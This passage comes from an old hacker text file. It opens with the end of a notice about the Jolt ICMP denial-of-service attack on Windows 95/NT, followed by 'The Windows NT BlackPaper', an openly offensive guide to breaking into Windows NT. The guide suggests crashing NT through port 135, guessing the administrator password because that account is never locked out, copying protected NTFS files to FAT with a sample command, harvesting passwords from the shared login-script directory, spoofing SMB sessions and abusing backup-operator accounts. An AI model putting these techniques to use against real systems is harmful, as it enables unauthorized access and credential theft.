   attack before, and is encouraged to patch themselves. 

Why is this happening?

   I think the root of the problem is that Microsoft seems to always code via RFC, and
   doesn't write handlers for the "What if someone sends me something invalid"
   possibility. This is not the first time Windows95 or NT has had problems with ICMP,
   and if you would like to read the technical details, as well as look at the source code
   for Jolt, click here.

How can I protect myself?

   We have some patches and information available here.  A bugfix has been posted by Microsoft
   for NT4.0  I still haven't seen a Win95 or NT4 Workstation patch yet.  

Check this site for updates!

The Windows NT BlackPaper, by Neon Surge of Shatter, Inc.

-------------------------------------------[ The Windows NT BlackPaper 
-------------------------------------------[             By Neon Surge               
-------------------------------------------[         for  Shatter Inc.

%%   This file is meant for educational and informational purposses only. This file is not a "How To" guide, any unlawful use of  this file or the information within this file is not the fault of  Neon Surge, Shatter Inc., or the fault of  any owner and/or operator of an internet site and/or webpage where the file may reside.  %%

  Lets jump right in. For those of  you who are not riggers (architecture/network media specialists) let me begin by saying that NT as an operating system is fairly safe and secure. Now you may think to yourself that it isnt, but think about all the Unix related security holes you know of, a ton huh? Anyhow, as with any operating system, NT has holes, lets see what we can learn about these holes, shall we?

 First things first, NT does not support alot of  the normal TCP/IP functions that youre used to. NT does not normally support NFS, SunRPC, NIS, r* commands, Telnet, and some other obscure ones. 

 In order for NT to allow for various system services to be performed on a remote computer, it 
uses RPC, remote procedure calls. Please do not confuse this with SunRPC. You can run NT/RPC's 
over a NetBIOS/SMB session or you can piggie back it directly off of  TCP/IP (or other transport 
protocol, perhaps NWLink IPX/SPX). Unfortunately we dont have any good documentation on what 
inherent services NT provides through native RPC. Complex server type programs (Like Exchange) 
provide their own RPC services in addition to the ones NT provides as an operating system 
--(TCP Port 135 is used as a port-mapper port, we also know that if too much information is fed 
through port 135, you can crash an NT box.). Some client software must access TCP port 135 
before accessing the RPC service itself (hint, hint). Keep in mind that TCP port 135 can be 
blocked. Bummer, eh?
 One problem among the Hacker community is that most hackers dont like to investigate new 
avenues, or explore new methods. They will take the easy way out, using a method thats already 
been documented by someone else. So what if they come across a system that has patched that 
security problem? Will todays hacker try to find a new way in? Nope... most of the slackers I 
know will give up. It is for this reason that alot of the members in the community have never 
heard of SMBs, because its a session level protocol  that is not a Unix standard (although there 
is something somewhat like SMBs for Unix, known as Samba). SMBs are used by Windows 3.X, Win95, 
WintNT and OS/2. The one thing to remember about SMBs is that it allows for remote access to 
shared directories, the registry, and other system services. Which makes it important in our 
line of, uuuhh, work. As stated above, unfortunately, there is no good documentation of the 
services that use SMBs. 

  Now, a couple of Key Points:
      SMBs are used by:
         -Win 3.X
         -Win 95
         -Win NT
      SMBs allow for remote access to:
         -Shared directories
         -The Registry
         -Other system services

  You will find that by default all accounts in NT have complete SMB functionality. This 
includes the Guest account. (In WinNT 3.51, the guest is auto created and active, in WinNT 4.0, 
the guest account is auto created but is not active) Now, 2 things to remember: When it comes to 
login attempt failures, the administrator account IS NEVER locked out after a certain number of 
login attempts (this rule ALWAYS applies), also by default, when windows NT is installed, NONE 
of the accounts have fail login attempt lock out. Also, in order for SMB to work, UDP/TCP ports 
137,138,139 (NetBIOS over TCP) must be open.

---A word about Remote registry alteration: By default the Everyone group in NT has write access 
to much of the registry. In NT 3.51, this was a major issue due to the remote registry access 
feature of RegEdit. Any user could manipulate the registry on any server or workstation on which 
his account (or the guest account) was enabled. WindowsNT fixed the problem with this registry 


Now, true, remote registry editing is not allowed in NT4, but this rule does not apply to 
Administrator (or perhaps other users in the Administrators group.. ::grin::).

 Ok, so far we've covered some pretty good information, but lets go into that new product that 
microsoft loves so much. The product they really hyped.. NTFS (NewTechnologiesFileSystem). First 
of all, NTFS is a rip off of the OS/2 file system, HPFS. No biggie, lets not get pickie. Anyhow, 
NTFS is actually a beautiful thing, if used properly. NTFS allows administrator to not only put 
access permissions on folders, but it also allows for access permissions on individual files 
within that folder. 

Example: Jane and Ralph both have access to the folder 'Shoes'. Theres only one file within the 
'shoes' folder. Only jane has access to this one file, Ralph does not. So when Ralph opens the 
'shoe' folder, it appears empty, but when Jane opens the 'shoe' folder, the file is there. 

Now, If an administrator does not set permissions on files within a folder but you know the 
exact path to the file, you can copy the file out of the folder onto a FAT (File Allocation 
Table) system, successfully bypassing the security. Example:

The folder 'Shoes' has permissions on it. You do not have access permission to the folder, BUT 
if you typed:

      copy c:\shoes\secure.txt a:\

 It would allow you to copy the file. Pretty neat huh?

I have heard that the latest NT4 patches have corrected this problem, I will let ya know when I 
get a chance to test it out.

File Sharing, I love those words. SMB file and print server protocols used by NT are harder to 
spoof than the NFS implementation on Unix systems. It is possible that a gateway (and I dont 
mean the brand name company) machine could spoof an SMB session, then read and write any files 
to which the true user of the session had access. -WARNING- This method is not for the beginner.

Now, windows allows for this wonderful thing called User Profiles. This allows for users to have 
login scripts, personalized desktops, etc etc. Now some very personal information can be 
contained within these profiles. For example, some users put the userid and password that they 
use for Microsoft Mail onto their logon script, this way when they log into the machine, it auto 
logs them into their mailbox. User profiles are stored in the %SYSTEMROOT%\SYSTEM32\CONFIG 
directory and also on a shared directory on the server. 

Lets discuss our little friend, the special share. NT shares the 
%SYSTEMROOT%\SYSTEM32\REPL\IMPORT\SCRIPTS directory, this way, users can read their login 
scripts during login. Under normal default conditions, ANYONE can access this share and read 
anyone elses login script. So whatever juicy pieces of information are in the login script are 
now yours. Some other special shares are created depending on other software installed on NT or 
other servers that NT has to cooperate with. These other shares will probably be discussed in 
another BlackPaper.

Getting lucky with that special account. There is a certain type of NT account that has the 
ability to BackUp and Restore database and account information. Accounts of this type have the 
ability to read, modify and write any file in the system. So, if ya cant get the Admin account, 
who knows... maybe theres a backup operator account. Ya never know.